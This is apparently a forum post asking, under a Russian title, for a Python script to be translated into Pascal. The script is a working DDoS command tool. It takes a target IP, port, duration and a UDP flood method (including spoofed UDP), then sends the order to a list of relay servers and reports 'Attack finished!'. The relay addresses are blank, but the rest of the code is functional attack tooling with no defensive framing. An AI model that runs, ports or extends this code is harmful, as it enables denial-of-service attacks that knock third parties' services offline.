Перевод из python в pascal

from threading import Thread
import socket, os, time as sleep
socket.setdefaulttimeout(10)
 
ips = [
      '',
      ''
      ]
 
ip, port, time, method, get_methods, command = None, None, None, None, None, None
err = 0
 
 
while not ip and not get_methods:
    ip = raw_input('Enter ip - ').replace(' ', '')
    port = raw_input('Enter port(80) - ')
    time = raw_input('Enter time(in sec) - ')
    method = raw_input('Method(SENTIUDP, UDPSTREAM, SPOOFEDUDP, MAXUDPSTREAM) - ')
    if port == '': port = '80'
    if time == '': time = '120'
    if method == '': method = 'SENTIUDP'
 
for ipp in ips:
    conn = socket.socket()
    try:
        conn.connect((ipp.split(':')[0], int(ipp.split(':')[1])))
        conn.send(bytes(ip + '|' + time + '|' + method + '|' + port))
        try:
            data = b""
            tmp = conn.recv(1024)
            while tmp:
                data += tmp
                print('\nRESPONSE FROM ' + ipp + ':' + data.decode("utf-8"))
                tmp = conn.recv(1024)
        except Exception as err:
            print(err)
    except Exception:
        print('Connection failed to ' + ipp + "!")
        err += 1
if err == len(ips): exit(1)
for i in range(int(time)):
    try:
        sleep.sleep(1)
        print('Time left: ' + str(int(time)-i))
    except KeyboardInterrupt: 
        print('\nClosed\n')
        exit(1)
print('Attack finished!')